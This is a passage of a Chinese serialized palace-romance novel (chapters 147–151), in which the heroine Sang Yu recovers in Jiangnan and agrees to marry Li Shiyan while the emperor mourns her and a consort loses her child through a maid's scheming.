屋里忽然传来一声脆响,像是茶盏落地。 沈夫人还未反应过来,李识衍已经转身往回跑。 推门而入,烛火摇曳中,只见桑余蜷缩在床角。 她双手紧紧环抱着膝盖,单薄的白色中衣被冷汗浸透,贴在瘦削的脊背上。 听到门响,她猛地抬头,散乱的长发间露出一张惨白的脸,眼中都是错愕惶恐。 “李……李识衍?”她的声音细若游丝,带着颤抖。 李识衍三步并作两步冲到桑余面前,单膝跪在脚踏上,生怕吓到她:“是我,你又做噩梦了?” 一滴泪砸在桑余手背上。 她突然抓住李识衍的衣袖,力道大的指节发白:“我梦见……梦见我又回到了他身边……”她的瞳孔剧烈收缩,“睁开眼,我还以为这就是皇宫,这里不是对不对?” 李识衍的心口痛的快死了。 回江南的这一路,她都是这样,一路都没有睡好。 那个地方,那些经历已经足够摧毁一个人了。 不仅会摧毁一个人的身体,还会摧毁一个人的神思。 李识衍深深呼吸才勉强稳住,握住桑余冰凉的手指,说:“看着我,阿星。这里是沈府,你是沈星,这个世界上已经没有桑余了,你再也不用回去了,你看,外面是你一直想着的江南。” 桑余的呼吸渐渐平稳,目光顺着他的指引望向窗棂。 雨丝在窗纸上投下斑驳影子,与记忆中鎏金华贵的深宫截然不同。 “我……我分不清……”她松开李识衍的袖子,转而用指甲用力的抠着手背,“有时候醒来,总觉得还在宫里……总觉得,那些被我杀了的人,都在看着我。” 沈夫人倒吸一口冷气,手中的帕子掉落在地。 李识衍回头,对沈夫人道:“阿星在宫中待过的事情,绝不可让其他人知道。” 沈夫人看着女儿这副模样,心痛的捂着胸口:“我的阿星,到底经历了什么……” “沈夫人,明日我会尽数告诉你,但今日,我想先陪着她。” 沈夫人看明白了,李识衍能将她带回来,定是很不容易。 她如此沉重的警惕心,竟然连自己这个做母亲的,也会让她害怕。 沈夫人黯然的叹了一口气,心疼的望向桑余桑余,默默退到门外,轻轻掩上门扉。 李识衍轻轻握住桑余的手腕,阻止她继续伤害自己。 他的指腹温柔地抚过她手背上被掐出的红痕,像哄孩子一般:“阿星,看着我。” 桑余抬起泪眼,在摇曳的烛光中看清了他眼中的心疼。 那目光太过熟悉,仿佛穿越了十二年的光阴,与记忆深处某个瞬间重叠。 可模糊的记忆,终究抵不过二十年清晰的一切。 她还是什么都想不起来。 “你……”她突然哽咽,“你找了我这么多年,我们从前……是不是……” 李识衍的的手猛地凝滞。 他取来温热的帕子,仔细擦去她额角的冷汗。 他将语速放缓,生怕桑余会听不清楚:“从我有记忆时,你就在我的面前,从牙牙学语到后来有了自己的小性子。那时李府、沈府所有人都告诉我,你是我未来的妻子,这句话像告诉我,人应该吃饭,应该睡觉一样,成了我那时最重要的事。” 桑余怔住了。 破碎的记忆如涟漪荡开,她下意识抚上心口,那里泛起细密的疼。 所以,她原来该是他的妻子么? 祁翎说,李识衍曾经有一个喜欢的姑娘,他对她很好很好。 那时自己真心的觉得这个姑娘幸福。 而今日,她才知道,那个姑娘,就是自己。 如果真的是这样,他这么多年一直在找自己,可是…… 桑余在心里冷笑了笑。 可是苍天捉弄,她已经不算是沈星了,她一生的伤,身心俱疲,还怎么做沈星? “对不起……”桑余流不出眼泪,她将那些苦楚压抑在身体里。 “你对我这么好,可我……”指甲又无意识地掐进掌心,“我让你失望了。你大概不知道我在宫里经历过什么,你也不知道我的身体……” 声音戛然而止,像是被什么哽住了喉咙。 李识衍只是看着她,等她把一切都说出来,徜若心扉。 “你会失望的。”桑余惨笑,极度艰难的说:“我也已经……不敢再把自己交给任何人了。” 她望向窗外的雨幕,声音飘忽得像一缕烟,“也不会再将余生交给任何一个人,再将自己置于悬崖之上,否则再有人推我一把,我真的会粉身碎骨的。” 等她说完,李识衍轻声问:“说完了么?” 桑余怔愣的点了点头。 李识衍笑了笑,眼中却都是对桑余的心疼。 “我……我口笨拙舌,这么多年都没跟女孩子说过什么话,不会太多的甜言蜜语,可我还是希望你能听我也说一说。” “我不会让你站在悬崖边,也不会叫你粉身碎骨。” “你发生的事情,我能猜到的能想到的,可我不在乎,一副躯壳罢了,我从不觉得有什么重要。” “我手上也不干净,我是重利的商人,是筹谋的政臣,我虽未亲手杀过人可我手上还是占有血。” “你小小的时候,我就抱着你,哄着你,你在我心里永远是最好的。” “你在我身边十一年,只是又偷偷溜走了十一年,算是扯平了。我们就当,重新相识,以后岁岁年年,还有很多个十一年,好不好?” 还有很多个十一年…… 桑余的心早就死了,死在了漫长冰冷的皇宫。 可是李识衍却……不仅将她救出来了,好像也将那颗死了的心一起救出来了。 雨声渐歇,一缕月光穿透云层,将两人的影子投在青砖地上。 李识衍望着那道交融的影子,忽然想起很多年前的上元节。小阿星提着兔子灯,信誓旦旦地说要嫁给他当新娘子。 只可惜后来灯笼早已残破。 但好在,执灯的人终于回来了。 第147章 孩子没了 祁蘅从梦中惊醒,冷汗浸透了明黄色的寝衣。 他下意识伸手去摸床榻的另一侧,却只触到冰凉的锦被。 身边空荡荡的。 整个宫殿空荡荡的。 好像,连这座皇宫也是空荡荡的,死寂又无边的孤独。 只剩窗外雨声淅沥,烛火在风中摇曳,寝殿照得忽明忽暗。 “阿余……” 他低唤了一声,声音在寂静的殿内显得格外清晰。 没有回应。 她好像就是从自己身边彻底消失,连什么都没留下,也好像永远不会回来了。 祁蘅缓缓的坐起身,想起了什么,掀开袖子,露出手腕上那道烧伤疤痕。 这是为了桑余留下的。 好像成了如今唯一能证明他和桑余密不可分的证据。 “陛下,该上朝了。” 赵德全的声音在殿外响起,祁蘅这才惊觉天已微亮。 他披衣起身,走到窗前。 雨丝斜斜地打在窗棂上,怎么就这么冷。 “可有消息?”他忽然开口。 赵德全一愣,随即明白过来:“回陛下,派去找寻桑姑娘的人……还未传回消息。” 祁蘅的眼神暗了暗。 他茫然的眨了眨眼睛,好像在问自己:你看,真的找不到了。 他原以为,多选些秀女入宫,就能替代掉什么。 可没用,一点用都没有,没有一个是桑余。 是他亲手赶走了她,是他说我不要你了,是他说以后不要回来。 她怎么那么笨,怎么还当真了? 这里是他的家,也是她的家,她怎么还真的不回来了? 蝴蝶飞走了。 而且,似乎再也不会飞回来了。 —— 同样,一夜未眠的还有陆晚宁。 自从听说了陆府的异况后,她就怎么也定不下心来,总觉得隐隐不安。 直到一大早青黛从宫外赶回来。 她仿佛受了巨大的惊吓一般,魂不守舍的回来了 陆晚宁迫不及待的问:“我哥哥怎么样?查清楚了么?” 青黛恍然初醒,许久才反应过来,猛的哭了出来,跪在地上爬了过去,说:“娘娘,您一定要顾及腹中胎儿,不可太过伤心啊!” 陆晚宁心重重的一空,厉声道:“说!到底怎么了?!” 青黛将头扣下去,哭的泣不成声:“陆大人……没了!” 陆晚宁猛地站起身,眼前一阵发黑。 她一向矜持自傲的面具裂开了,颤抖的抓住青黛的肩膀,声音颤抖:“你说什么?” 青黛抬起头,泪流满面,声音哽咽:“昨夜陆府突然起火,火势冲天。奴婢今早去打听,才知陆大人前几日就已经……就已经下葬了!” “不可能!”陆晚宁厉声打断,指甲几乎掐进青黛的皮肉,“这么大的事,皇上怎么会不告诉我?不可能!” 陆晚宁一把甩开青黛,跌跌撞撞的往外走。 她要亲自去看,亲自去问清楚。 只是没走几步,腹中骤然传来一阵剧痛,像是有什么东西狠狠撕扯着她的五脏六腑。 她踉跄着后退两步,低头一看,只见鲜红的血从裙摆里渗出来,在地面上洇开一片刺目的红。 “娘娘!”青黛惊恐地扑上前扶住她,“您怎么了?!” 陆晚宁脸色惨白,嘴唇颤抖着,却一个字也说不出来。 她只觉得浑身发冷,腹中像是有一把刀在搅动,疼得她几乎站不稳。 “快……快去请太医……”她艰难地挤出几个字,害怕起来。 红菱适时起身,往外走去。 只有她知道,太医来了也不会有什么用了。 陆晚宁这三个月以来吃的每一口食物,喝的每一碗补胎药,都是她亲自经手。 点心、药膳、水果……所有东西单独拿出来都没差错,可一旦一起服下,时间长了,胎像便迟早会落。 没过多久,太医院的人匆匆忙忙的往长乐宫赶去。 祁蘅赶到长乐宫时,殿内弥漫着浓重的血腥气。 太医们跪了一地,见他进来,纷纷叩首请罪。 “陛下……”为首的太医颤声道,“贵妃娘娘的龙胎……没能保住……” 祁蘅的目光越过众人,看向床榻上的人。 陆晚宁虚弱地睁开眼,远远看见祁蘅的身影,泪水瞬间夺眶而出。 “陛下……”她颤抖着伸出手,“臣妾……臣妾的孩子没了……” 祁蘅在床边坐下,轻轻拍了拍她的手,不忍的皱起眉:“安心休息,会好的。” 他的声音平静得近乎冷漠,目光转向跪在地上的宫人们:“贵妃和龙嗣为何会突然出事?” 青黛战战兢兢道:“回陛下,娘娘是听闻陆大人亡故的消息,这才……” 祁蘅眉眼登时冷了下来。 他松开陆晚宁的手,上前,走到青黛面前停住脚步,看着她缓缓问:“谁准你们把这事告诉贵妃的?” 青黛被吓得僵直,盯着面前近在咫尺的眼睛,吓得大气都不敢喘,只是眼泪不受控制的往下流。 祁蘅一抬手,说:祁蘅一抬手,冷声道:“惊扰贵妃凤体,致使龙嗣有失,罪无可赦。拖下去,杖毙。” 青黛浑身一颤,猛地抬头,眼中满是惊恐:“陛下开恩!奴婢冤枉......” 话音未落,两名侍卫已上前架起她。青黛拼命挣扎,哭喊着:“娘娘救我!娘娘......” 可还是被拖了出去,直到哭声渐远,彻底消失。 陆晚宁虚弱地撑起身子,不可置信地望着他:“原来……陛下知道臣妾兄长出事的事?” 祁蘅沉默片刻,淡淡道:“是。朕怕怕你的身子受不住,才没有告诉你。” 这句话像一把刀,狠狠刺进陆晚宁心口。 她突然激动起来:“一定是桑余!一定是她害死了哥哥,又害了我的孩子!” “你说什么?”祁蘅一怔,回头疑惑的看着她,“陆淮安之死乃是南疆刺客所为,与桑余何干?” 陆晚宁正欲说清缘由,但突然意识到什么,怔了怔,硬生生把话咽了回去。 她不能说出哥哥是去追杀桑余的,更不能让皇上知道这其中还有自己的授意。 否则牵连了自己,一切就都完了。 哥哥没了,孩子没了,她不能再搭进去。 “是……是臣妾糊涂了,毕竟桑余曾经伤过我的兄长……” 祁蘅深深看了她一眼,眼中复杂:“你好生养着,孩子还会有的。” 说罢,便往外走去。 当初为了这个孩子,他将桑余推倒,打入大牢关了七日不说,最后还气走了她。 如今这个孩子也没了。 祁蘅觉得可笑,忽然就笑了出来。 他的确做了一件,很蠢很蠢的事。 殿内,陆晚宁抬起死气沉沉的眼,环视了一圈跪在地上的太医和宫人。 虽都是她可信任的人,可她目光还是格外瘆人。 像溺在池塘里腐烂的莲子,透出无尽的死寂和阴冷。 什么都没了,孩子也没了,陆晚宁几乎已经疯了。 她目光落在其中一个太医身上,问:“宋太医,方才陛下来之前,你说本宫以后怎么了?” 第148章 原来早就变了 宋太医抬头,用眼神示意了一下周围。 陆晚宁的目光如淬了毒的银针,死死钉在宋太医脸上。 她缓缓抬手,示意其他人退下。 待殿门关闭,宋太医才颤声道:“娘娘,此次小产,胎儿过大,伤及了胞宫根本,恐怕今后……” 陆晚宁一字一句的咬牙,已经有了不好的预感:“说清楚。” “娘娘今后……怕是再难有孕了……” 殿内死一般寂静。 陆晚宁偏了偏头,眼中微微茫然。 然后,她又忽然低笑起来,笑声越来越大,最后竟像疯了般扯开锦被,赤着脚跌下床榻。 “娘娘当心!”宋太医慌忙去扶,却被她一把揪住衣领。 “怎么会这样?”她双目赤红,指甲深深掐进太医的皮肉,“本宫不信!这是第一胎,怎么会以后都生不了?你定有法子的是不是?” 宋太医被她扯得踉跄,额上渗出冷汗:“微臣……微臣实在……” 陆晚宁突然松开手,颓然跪坐在地。华贵的寝衣沾满血污,乌发散乱如疯妇。 她生不了孩子,对于冯崇而言就是一步废棋,他就绝不会再帮自己登上后位。 这次选来的秀女,有好几个都是冯崇身边亲信之女,陆晚宁并不是唯一的选择了。 如今兄长已死,若是再失去义父的庇佑,她只会更加举步维艰。 一个孤女,活在宫中,只会变成第二个桑余,被人欺辱,被践踏,被抛弃…… 她痴痴望着衣服的血渍,忽然又咯咯笑起来。 曾经的柔弱矜持温婉通通不见,此刻只剩下疯狂。 笑着笑着,她猛地抬头:“谁说本宫生不了?” 宋太医一怔。 “本宫能生。”她慢慢爬起身,染血的指尖抚过太医的官服,“一个孩子,只要到本宫的手里,就是本宫的,你明白么?” 宋太医瞬间面如土色,扑通跪下:“微臣……微臣明白……” 陆晚宁俯身,在他耳边轻声道:“若让第三人知道本宫生不了这件事……”染着丹蔻的指甲划过他的咽喉,“本宫便让你全家……都去陪本宫的孩子。” 宋太医猛的抬头,被她惨白如鬼的面容吓了一跳,不由浑身发抖,连连叩首:“微臣……微臣今日只是来为娘娘调理气血……微臣明白了!” 陆晚宁缓缓直起身子,眼中的疯狂渐渐沉淀成一种可怕的冷静。 她扶着床沿站起身,血迹在素白的寝衣上干涸,像一朵朵妖冶的花。 “我才不会输,北寒的雪都没能要我的命,我既然能从那里回来,坐上如今这个位子,我就不会轻易输!” “我哥哥武功高强,小心谨慎,怎么会轻易死在刺客手里?” 能让他放松警惕的,只有那个女人。 一定是桑余害了他! 陆晚宁死死的攥紧手掌,她不仅要“生”一个自己的孩子。 她还要杀了桑余给兄长报仇。 —— 翌日,江南。 雨过天晴,晨光微熹,透过窗棂洒在床榻上。 桑余缓缓睁开眼,视线还有些模糊。 或许是昨晚有人陪着她,后半夜她睡得格外安稳,竟一觉到天亮。 她察觉到什么,微微侧头看过去,李识衍就这么伏在床边的睡着了。 他一袭青衫带着书墨的味道,呼吸平和,修长的手指微微蜷曲,攥着她的被角,生怕她会蹬被子一样。 “李识衍?” 李识衍一动,睁开眼睛,抬眼看桑余。 桑余提醒说:“天亮了。” 李识衍怔了一下,看了眼外面,窗外的柳叶沾了雨水,阳光照在上面泛着金色的光。 “是啊,天亮了。” 他眼中忽然漾开笑意,像是春水泛起了涟漪。 “笑什么?”桑余不解地问。 “你终于不对我生分了。”李识衍收回目光,看向桑余,“我很喜欢听你叫我的名字。” 桑余一怔,有些无措的垂下了眼帘,不知该怎么回复。 “饿不饿?”李识衍温声问道,“我们去吃点东西吧?” 桑余想起什么:“沈夫人……我娘她......” “娘”这个字眼,桑余提起时还有些不习惯。 “她很想你,她老人家其实很想和你说说话,只是怕吓到你。” 桑余眼眶微热。 “可我不记得她了,也不记得你了,所有的人都不记得了,以后如果都想不起来怎么办么?” “会的。”李识衍很温柔的替她整理头发,柔软的发在他指尖缠绕。“你放心,都会想起来的,想不起来也没关系,你永远是她的女儿。” 桑余点了点头,她很相信李识衍。 李识衍说,要帮她梳头。 桑余觉得不合适,心底惶恐,便要拒绝。 但李识衍循循善诱,带着几分胡搅蛮缠:“我会的,你信我,就让我试试好不好?” 他说这话时竟像个孩子,眼睛微微亮着,十分期待。 那抹光,好像也要亮进了桑余的心里了。 “那……好。” 窗外,柳枝新绿,在春风中轻轻摇曳。 一只蝴蝶飞过,停在窗棂上,翅膀在阳光下泛着微光。 铜镜里,李识衍低垂的眉眼专注又温和,手指轻轻穿过桑余的发丝,动作温柔得像在对待极为珍贵的东西。 桑余没觉得疼,她从镜中看着他:“你以前……经常这样给我梳头吗?” 她只是突然觉得,这一幕好熟悉。 好像……好像真的不是第一次。 “你小时候可好动了,整日往军营里跑,总是把辫子弄乱,你又怕沈夫人责怪,我见你笨手笨脚地扎不好,就开始学怎么梳发髻。”他的声音里带着笑意,“谁知你从此就赖上我了,天天缠着我给你梳新花样。” 桑余隐隐想象出那个场景。 原来自己在当乞儿,当宫女前,当受人鄙夷的暗卫之前,还有被别人这么宠着的时候。 她抿起唇,轻轻笑了:“谢谢你。” —— 京城。 祁蘅在乾清宫,紫宸殿,莫名其妙的坐了一晚上。 一个人,在桑余曾经的住处里,待在镜子前,看着桌子上一分为二的梳子。 他就这么失神的坐着,不知过了多长时间,今天他连早朝都不想去了。 【阿余,愿你青丝常驻,岁岁安康。】 这是他送她这把梳子时说的话。 当时,其实只是想哄哄她,随意让人做了一把。 没想到她真的很喜欢,收到的时候那么开心,都舍不得用。 他说她总是这么小家子气,桑余却说,万一磕坏了怎么办,祁蘅又说,坏了我就重新送你一个更好的。 桑余说,那我可舍不得。 祁蘅给她梳头,笨手笨脚的,又没耐心,弄得她疼。但她也不说,生生忍着,以至于最后被扯断了好几根头发,祁蘅才小心起来。 “你当初为什么不告诉朕梳子坏了?”他喃喃自语,“朕真的会给你换一把更好的,一模一样的……是不是从那个时候起,你就打算离开我了?” 第149章 你要娶我? 祁蘅还想起从前的很多事。 早几年,先帝又纳一妃,为了哄那个新妃高兴,先帝遣人在整个宫里都挂了红色的绸缎和灯笼,热闹似娶亲一样。 彼时,桑余站在宫墙下,灯火映着她清秀的侧脸。她笑着说:“小殿下,这灯笼真好看。” 而祁蘅只是随意地“嗯”了一声。 他其实也有所感,却是在想:等将来娶陆晚宁,就也这样挂满红灯笼,哄她开心。 他甚至没注意到桑余眼中小心翼翼的希冀。 后来,祁蘅和陆晚宁郎情妾意。 她却还是孑然一身。 孤孤单单的活在宫中,无亲无故。 祁蘅心里像是被虫子啮咬,疼的他几乎伏在桌子上直不起身,他想等这一次桑余找回来了,就好好对她,他不怪她真的下定决心要走,不怪她离开这么久他才舍不得。 什么陆晚宁,什么年少不得的执念,都不重要了。 桑余才是陪着自己长大的、护着他的、唯一的亲人。 祁蘅此刻只知道,他不能没有她。 没有陆晚宁,他还是祁蘅。 可没有桑余,他才感觉到什么是神思俱乱,甚至连觉都没有睡好一次。 这次,桑余想要什么都好,只要她能不生自己的气。 她不想生孩子就不生,随意哪个妃子生一个过继给她都行,只要她能不害怕自己。 祁蘅这一夜,想明白了很多事。 —— 桑余渐渐习惯了叫沈夫人“娘亲”,沈夫人很开心,每次都迫切的会应。 失去过一次的女儿再回来,沈夫人恨不得时时看在眼前。 她也不去问桑余曾经经历过什么。 桑余知道了自己是怎么沦为孤儿的,也知道了她是怎么成了被操控的傀儡。 沈夫人担心她会崩溃会伤心,所以说这些事情时都小心翼翼。 但是人在皇宫那样深暗的地方出生入死了一番,桑余竟然觉得,没什么接受不了的。 不过是一直以为的恩人,是仇人而已;被她护着长大的祁蘅,是仇人的儿子而已;她信赖的师父,当年也知情而已。 可仇人已死,祁蘅和她恩断义绝,师父也回了北狄。 十二年的时间那么长,一些刻骨铭心的恨意都变得无所轻重。 她不想过分的活在过去,活在仇恨和痛苦里,折磨自己和身边人。 亦或许,相比于这些年经历的一切,曾经的事情已经没办法去波动桑余的心了。 只是,她对祁蘅某种特殊的情感,彻底断了。 原来他们本就不该相遇。 原来自己从没欠过她母妃什么养育之恩。 桑余一直犹豫着,妥协的,那些横亘在他们之间的情分,毫无负担的消失了。 沈家嫡女沈星,和当朝天子祁蘅,从此以后,彻底无关了。 —— 桑余看清了现下沈家的情况,如今沈家的产业大都掌握在二房沈齐手里。 沈家的家产不大,只做些布匹和成衣生意。 沈齐人不算坏,否则也不会一直恭敬的对沈夫人好。 这些年沈家在江南能站稳脚跟,靠的不仅是李识衍明里暗里的帮扶,还有沈齐的殚精竭虑,他只是怕桑余回来会跟他争家权。 桑余不打算争,她没做生意的本事,她也很累,不想再陷入任何纷争斗乱。 她只想和母亲安安稳稳的生活。 沈齐察觉桑余似乎对沈家的家产毫无兴趣,这才逐渐收敛锋芒。 还让自己的女儿沈月常去见桑余,陪着她。 桑余有了姐姐,有了母亲,家中的其他人倒也算亲近,而且没对她的过去揣测,桑余觉得这样的生活很好。 很自由,很快活。 就像她曾经奢望过的生活。 原来,她当初最向往的,不是祁蘅是否对她真心,而只是这样简单的生活。 离开了皇宫,桑余才发现外面的世界是真的很好。 —— 三个月的时间很快过去了。 起初,她也因为江南的寒雨病了好几日。 那几日,李识衍白日在衙署办公,夜里就会守在她床边,怕她又做噩梦。 后来,桑余终于不做噩梦了,但仅限李识衍守在她身边的时候。 否则夜里醒来望着空洞黑暗的一切,她还是会怕,会睡不着。 李识衍却也十分克己,就只是守在她床边,陪着她,给她讲从前那些记不清的事情。 桑余偶尔会想起一点模糊的东西,只要她想起一些,就能让李识衍高兴很久。 她被沈家人和李识衍养的越发的好。 渐渐地,桑余就连从前的衣服都要穿不上了,她的枯瘦消失,母亲还说她的脸色一天比一天好。 圆圆亮亮的眼睛,几乎和幼时的她一模一样。 每天见到的人很多,想做的事情也多了起来。 偶尔,她还会去布庄里帮忙,不再惧人。 桑余渐渐地,忘了从前的日子。 忘了从前和祁蘅的那些过去。 忘了和他在一起时经历的那些好的事,坏的事。 和祁蘅生死相依,彼此守护的日子。 与祁蘅两看相厌,彼此恨之入骨的日子。 京城的路很远,京城的人也变得很远,永远的和桑余再无干系了。 …… 只以为日子会就这样平静的过下去。 直到今日李识衍回来,忽然拿出一份有些泛黄的庚贴。 桑余还没看清上面写着什么,母亲就也拿出了一份一模一样的。 叠在一起,交给了桑余。 桑余不明所以的接过,缓缓翻开,看明白了上面写的什么。 这是李家和沈家二十二年前定下的婚约。 桑余不可置信地抬眼看向李识衍,眼睫都在颤抖,又怕自己问出这话后会让李识衍觉得可笑。 这不是一个玩笑。 “你要……你要娶我?” 李识衍看着她的眼睛,问:“你愿意嫁么?” 第150章 娶媳妇了? 沈夫人见势,不动声色的退了出去,关上了门。 屋里就只剩下他们二人。 桑余没回答他,只是看着李识衍,知晓他并不是在说笑,而是在很认真很认真的问自己。 可,不是她愿不愿意嫁,而是,她已经没办法替曾经的自己去做李识衍的妻子了。 沈星是干干净净的沈星,可桑余已经是遍体鳞伤的桑余了。 “我没办法嫁,李识衍,你不在乎,可我在乎,我不能……不能这样拖着你一辈子。我已经回家了,我很谢谢你帮我……可你不应该和我做夫妻……你……” 桑余着了急,说起话来竟有些语无伦次。 这模样,惹得李识衍眉眼之间染上一层温柔笑意。 “我明白,你担心的事情我全部都明白,你害怕有朝一日我会舍弃你。如果你不放心,我们便只把婚书交到衙署,备了夫妻名册,我可以等你心甘情愿的心属于我,我们再行大礼。” “我还可给你写一封放妻书,若是有朝一日……我惹你生气了,你只管拿着放妻书去衙署断了与我的夫妻关系,没有人会知道。” 桑余内心震撼。 所以,李识衍求亲时,甚至替她连退路也想好了么? 这些时日,她似乎对李识衍产生了下意识的依赖,她害怕这种依赖,所以一直在刻意回避。 她害怕自己会缠上别人,害怕李识衍会像那个人一样对自己生出厌烦。 可她越回避,李识衍出现的时候就越多。 他似乎是故意的,故意让自己对她生出依赖。 故意让她事事都能想起他,日日都能见到他。 李识衍年长她三岁,永远都温和沉稳,好像永远不会生气,两个人在一起时他也没那么多话,却不论做什么都护着她。 西街那么远,他每次从衙署回来还要绕路去买她喜欢吃的冰酪。 桑余不明白,是真的不明白:“你为了什么啊?” 李识衍苦笑了笑,说:“我已经患得患失了十二年,好不容易找回来了你,我怎么能放手?我想堂堂正正的对你好,想让我也成为你的亲人,想让你真正的留在我身边。” 桑余摇头:“不值得的。” 李识衍说:“你在我这里,不要去想什么值不值得,只有愿不愿意。”他紧紧的盯着她的眼睛,温柔又小心的询问:“所以,阿星愿意嫁给我么?” 桑余参不透想不通,她见过太多凉薄情谊,见过先帝可以随手杀了枕边人,见过祁蘅上一刻还对自己柔情万分,下一刻就又刻薄践踏,她见过很多不容细窥的情分。 她从前也觉得十二年很长很长,只是后来自己那十二年在祁蘅心里什么都不剩,所以也就觉得十二年不值一提。 但现在,桑余又觉得,十二年真漫长啊。 李识衍怎么就一个人找了自己十二年呢? “如果,我已经不会怎么去爱一个人了呢?” 李识衍笑了,把婚书放在她手里,说:“你不用爱我,你只需站在那里,等着我爱你就好。” 桑余的指尖微微发颤,两份泛黄的婚书仿佛有千斤重。 桑余的心像是被温水浸透,那些经年累月的伤痕都在发烫,褪去。 原来,被珍视是这样的感觉。 不是作为趁手的刀,不是作为忠心的狗,而是作为一个会被捧在手心里的人。 “我......”她张了张嘴,眼泪砸在婚书上。 李识衍伸手给她擦眼泪,她回来后好像一直在压抑着,从没有在清醒时掉过眼泪,他很心疼。 “别哭了,你是不是……” 李识衍苦苦的笑了笑,其实他大抵猜到了,桑余不会答应他。 “你是不是被我吓到了?如果……” “好。” 桑余听见自己说,声音轻得像一声叹息,却又重若千钧。 李识衍的眼睛瞬间亮了起来,像是万千星辰同时绽放。 “你说什么?” 桑余说:“我答应你。” 反正她没什么能偿还李识衍的了。 没有什么可以报答他三个月前救出自己,报答他将母亲照顾的这么好。 就这么一个,破的到处漏风的心了。 反正放妻书在,如果有一日他想明白了,发现自己并没有小时候那么好,那她就安分的离开,绝不给他添麻烦。 她不忍心让李识衍现在难过。 李识衍一把将桑余抱进怀中,像是接住了一片漂泊多年的落叶。 桑余靠在他肩头,闻到他衣襟上淡淡的墨香,忽然觉得那些血与痛的过往,都在这个拥抱里化作了春日的柳絮。 —— “李大人今日气色甚好。”公廨门口的差役笑着行礼。 李识衍颔首致意,衣摆带起的风都透着轻快。 他刚迈进值房,一杯冒着热气的茶就递到了眼前。 “哟,这是捡着金元宝了?”柳青苑倚在案几旁,狐疑地打量李识衍眉梢藏不住的喜色,“笑的跟娶了媳妇一样。” 李识衍接过茶盏,浅浅喝了一口:“嗯。” “啪!” 柳青苑手里的公文瞬间掉在地上,“什么意思?” 李识衍:“我和阿星昨日就把婚书送到了府衙,已经入了名册。” 柳青苑倒吸一口凉气。 “你这速度……这是生怕她反悔啊?你做事可从来没这般冲动过!” 话音未落,殿门被急促叩响。 是他们派去盯着京城的暗线。 “两位大人,刚收到密报,冯崇昨夜秘密接见了南疆密使!” 柳青苑瞬间收起散漫,凝眉警惕:“我就说去年扬州丢失的那批盐是冯崇那老贼做的,总算是让他把狐狸尾巴露出来了!” 李识衍坐了下来:“圣上怎么说?” “皇上倒是坐得住,有人替他说话。今早在朝堂之上,大学士和冯崇争了起来,两人不欢而散。” 李识衍和柳青苑对视一眼,柳青苑乐得其所:“张岩?听说皇上年少时就与其来往密切,看来,皇上这是打算削弱六部,重新让内阁掌势了?” 李识衍不动声色,平静的说:“不管如何,圣上这是打算与冯崇撕破脸了,对我们是好事。” 柳青苑明白:“弄死冯崇的事,你我要帮衬一把了。” 李识衍点了点头,起身,往外走。 柳青苑一愣:“你干什么去?” 李识衍一边摆手,一边说:“去西街,给阿星买冰酪,迟了就不新鲜了。” 柳青苑很恨铁不成钢的闭上眼,极为无语的叹了口气。 “刺史大人,你这整日点了个卯就溜,小心我到时候参你一本!” 第151章 替朕祝他们百年好合 李识衍连个回头都没给他。 柳青还不死心:“我要闹了?我真的要闹了!” 李识衍依旧没回头,身影消失在门口。 柳青苑放弃了,认命了,百无聊赖的扯着嗓子喊了一句:“给我也带一份,多谢!” —— 桑余莫名就成婚了。 竟然就这么……成婚了? 她将那份盖着衙署印章的婚书放在面前,撑着下巴,看了许久许久。 心里有些微妙的东西绽开,桑余也说不清是什么。 婚书上面是沈星与李识衍的名字。 这世上以后就没有桑余了。 桑余觉得太仓促了。 可对李识衍来说,却并不仓促,这是他等了十二年的婚事。 而且,成婚件事尽管突然,但交婚书,请媒人,下聘礼,该有的李识衍一样不少,除了凤冠霞帔,十里红妆。 桑余还不敢想,她穿着喜服嫁给他的样子。 没关门,所以她也不知道身后的人是什么时候来的,更不知道他在她身后站了多久,又看了多久。 直到她闻到了清香的冰酪香气,回头,才发现李识衍站在身后,眉眼温柔的歪头看她。 他还穿着官服,温润白皙的额上一层薄汗,眼眸却是亮的发黑。 李识衍把冰酪放到桌子上,顺势拿起婚书。 “阿星这是在看什么?” 桑余急忙垂下了眼,洁白的肤色上透出淡淡的粉红,她尽量用平静的声音说:“就……随便看看。” 李识衍不追问,唇角却染上一层愉悦,轻轻的“嗯”了一声。 桑余坐下,低着头一口一口的吃着冰酪,也不说话。 李识衍微微凝眉,忽然伸手,挡住她的额头:“你慢点吃。” 桑余正准备说没事,碎冰就呛了她一下,猛的咳嗽起来。 李识衍一下子变了脸色,给她倒了杯水,小心翼翼的拍着她的后背安抚。 桑余擦了擦嘴,不好意思的抬头看了一眼李识衍,说:“抱歉……吃的太快了。” 李识衍嗔她:“跟小孩子一样。” 说完他忽然到她身侧坐下来,拿起了没吃完的冰酪。 李识衍舀起一勺冰酪递到她唇边,桂花糖浆在阳光下泛着琥珀色的光。 桑余心中微微一动,既然已经做了夫妻,这样其实也没什么。 于是,她也没矫情,低头含住瓷勺。 甜沁沁的凉意在舌尖化开,李识衍一勺一勺的喂她,桑余悄悄抬眼看李识衍。 说起来,她好像还没有仔仔细细的看过自己的夫君。 夏末的日头正斜斜穿过廊檐,将他侧脸镀上一层薄金。 桑余不是没见过俊美的,宫中美人如云,尤其是祁蘅,更是生得一副惑人皮相,是十几个皇子里最出众的。 可那些人眼里永远淬着毒,像华丽刀鞘裹着的利刃。 而李识衍不同,李识衍像一块玉,尊贵无暇,白衣卿画。 他看人时总带着三分专注,仿佛世间万物都值得他温柔以待。 李识衍的相貌生得极好,且不论深邃的眉眼,鼻梁更似玉笔勾勒,偏生眼尾缀着颗朱砂小痣。 像是幅谪仙图,明明该是清冷出尘的,偏叫那眼角眉梢的一抹温艳给拽回了人间。 此刻浮着一层薄汗,那枚红痣便更加鲜艳,像是要滴出来。 桑余不是未经人事,本不会因为一张好看的脸就觉得心中异样。 但此刻她却莫名觉得耳尖发烫,连带着心跳也快了几分。 可能……是从没有这些像寻常的夫妻一样彼此亲近过。 李识衍察觉到她的局促,轻轻一笑:“甜么?” 桑余蓦的一僵,竟没反应过来李识衍问的是冰酪,还是……别的。 她快速回过神来,点了点头。 李识衍似乎没发现到她眼中的异样:“快入秋了,天凉了你就不能再吃这样寒凉的东西了,这是最后一次。” 桑余抿了抿唇,有些莫名的自责。 李识衍对她纯粹的好,她却对着这样一双单纯温柔的眼睛生出误会与遐想。 她克制住自己的小心思,点头:“好。” 李识衍知道她就馋这些,不禁笑了:“过几日中秋灯会,到时候吃月饼,好不好?” 桑余眼睛又亮了。 “好。” —— 京城的天比江南要凉的早。 赵德全掀开帘子进屋,殿内只余一缕残阳斜照。 